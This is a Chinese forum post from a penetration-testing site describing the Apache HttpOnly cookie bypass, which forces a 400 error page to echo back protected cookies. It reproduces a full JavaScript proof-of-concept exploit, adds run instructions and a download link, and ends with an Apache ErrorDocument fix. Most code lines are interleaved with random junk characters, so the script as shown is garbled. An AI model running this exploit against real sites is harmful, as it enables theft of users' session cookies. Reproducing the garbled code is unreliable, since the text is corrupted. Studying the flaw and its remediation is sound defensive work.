中国网络渗透测试联盟

标题: Apache HttpOnly Cookie XSS跨站漏洞 [打印本页]

作者: admin    时间: 2013-4-19 19:15
标题: Apache HttpOnly Cookie XSS跨站漏洞
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
4 t  ?$ U* V0 \' ~. n9 e! q8 o
) f, j. S* f9 n9 \/ M- E8 I用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
! L  _3 C* r# {& N: n4 }5 M
9 t) N2 |# t& q" h( [  x; N% _8 [( n. E9 i
// http://www.exploit-db.com/exploits/18442/+ e# a* ^" r6 J( G$ H
function setCookies (good) {
8 o# o! I7 B0 }) J4 s4 {// Construct string for cookie value, p6 Z" b: w1 H
var str = "";4 t6 ~& @3 P: A" J& {; p
for (var i=0; i< 819; i++) {
6 m4 A6 s; J7 }+ S" Fstr += "x";8 d% ]2 I' U% X) W: k* Y
}
2 N6 ^) A/ S4 M9 ?' C) R) k// Set cookies0 z7 E' w  E2 G* p! _
for (i = 0; i < 10; i++) {) w1 H- N* V) C$ W! j) S
// Expire evil cookie
4 @8 ~/ C+ N- `  r9 a4 Yif (good) {4 D- F  B9 G0 K6 M
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
+ q/ |2 {( L7 v8 H}
) N3 `# q" w+ m1 D6 C- I. N/ ^// Set evil cookie
5 I7 {" }  o8 }7 b; C& j0 O3 |else {
: q6 O( D! k3 Nvar cookie = "xss"+i+"="+str+";path=/";
# L! [( N, S% P}* g7 H  i& M: u9 K7 J
document.cookie = cookie;  R) g$ r9 A" a3 ^( P9 q* z
}
5 C3 k8 b' U1 t7 n0 m7 t}7 ~1 @' W* Y: x5 l
function makeRequest() {" N' B" _! Z' D& q6 J. h) |1 |
setCookies();6 n$ P; ^- S0 \" p- }1 y0 d3 f; W2 R
function parseCookies () {
. f4 `; J4 ?9 U* yvar cookie_dict = {};
8 l4 j2 e3 p9 E" x+ l// Only react on 400 status6 {' I. x* S, F2 k% R% \6 F0 V
if (xhr.readyState === 4 && xhr.status === 400) {$ `! e( Q' Q+ k& w+ O
// Replace newlines and match <pre> content4 X- j) [# Y. L8 y
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);% z( ^' `& [/ |: ?  Y
if (content.length) {
" H! d- S: V, Z% H0 g& w# @0 @! Y! }// Remove Cookie: prefix$ Q/ j7 `9 y6 O1 A
content = content[1].replace("Cookie: ", "");9 \3 t/ H# q/ f0 }$ H
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
3 z- c8 ]) {- [! R// Add cookies to object  F5 L# N# P1 Y* u
for (var i=0; i<cookies.length; i++) {
2 r* \# E6 D7 e1 y% `var s_c = cookies.split('=',2);- e4 H# B7 t9 S0 J# v2 w
cookie_dict[s_c[0]] = s_c[1];) H& X6 [8 u# @
}
$ P3 o5 J& J& P" s6 z; N}
2 j) t9 c! E* h& P// Unset malicious cookies
7 E5 D' S8 y! V0 S- nsetCookies(true);5 w; R7 l0 A: p( F" _: _
alert(JSON.stringify(cookie_dict));
' L1 W8 S; l; ~}
' `6 G- ^' ]0 @4 ]}
- K2 B- o& H: w& M5 k// Make XHR request) X! c* E8 ?9 ~, t
var xhr = new XMLHttpRequest();
+ S% V2 ]7 K5 o! cxhr.onreadystatechange = parseCookies;, f) @7 p3 J. D5 G
xhr.open("GET", "/", true);# p2 _1 u% ^9 n4 {9 _) y$ C5 q8 Z1 G
xhr.send(null);' f. u9 J% k! b- p8 b, g
}8 F% l& T# \' z) P9 p& G5 x* s  ~
makeRequest();, H7 ?; S4 t0 K

% B) ?1 }* L8 J; d% y你就能看见华丽丽的400错误包含着cookie信息。; U6 @" Q7 i+ J+ W
6 A$ A0 T# x# H9 ^. y
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
4 w$ s  F' G: l; s  f- d
% L* S- x9 o* M+ c修复方案:
' w) s; m* ?* K" _. c0 S$ F
# V3 w4 T7 E. v% n$ JApache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下3 |3 Y, m6 O. e) |7 A/ R

" \4 w2 S9 O" D9 f: E3 p/ oIn the event of a problem or error, Apachecan be configured to do one of four things,+ l! E9 f. ^0 o  x

) A5 [  v  Q) p6 m7 t" g' v1. output asimple hardcoded error message输出一个简单生硬的错误代码信息9 ~) y  i- y, B; O
2. output acustomized message输出一段信息
0 N0 }; [' E# n& }3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
2 e. s2 l) y, ?; o4. redirect to an external URL to handle theproblem/error转向一个外部URL7 p' V' o7 k  ^  n6 C9 i# R

* \8 l0 ~: @5 [* l/ C' B# F+ w7 I经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
' P4 E) w/ \3 k5 ?$ J4 Q' v( V! ]2 W0 W) R
Apache配置:
; @3 s4 T/ N9 {3 [. d- d7 X& e% p% G- B) U. [
ErrorDocument400 " security test"
" Z/ G4 R1 S6 d1 G* M3 ?" [6 f7 B' m) J& c
当然,升级apache到最新也可:)。
9 @1 V" v0 H! T* t: Q
( ~2 c  s3 p: y. l参考:http://httpd.apache.org/security/vulnerabilities_22.html
, i; \" B1 t4 P1 Y2 D! v, v
. |+ B& M4 A. q8 K4 V" t




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2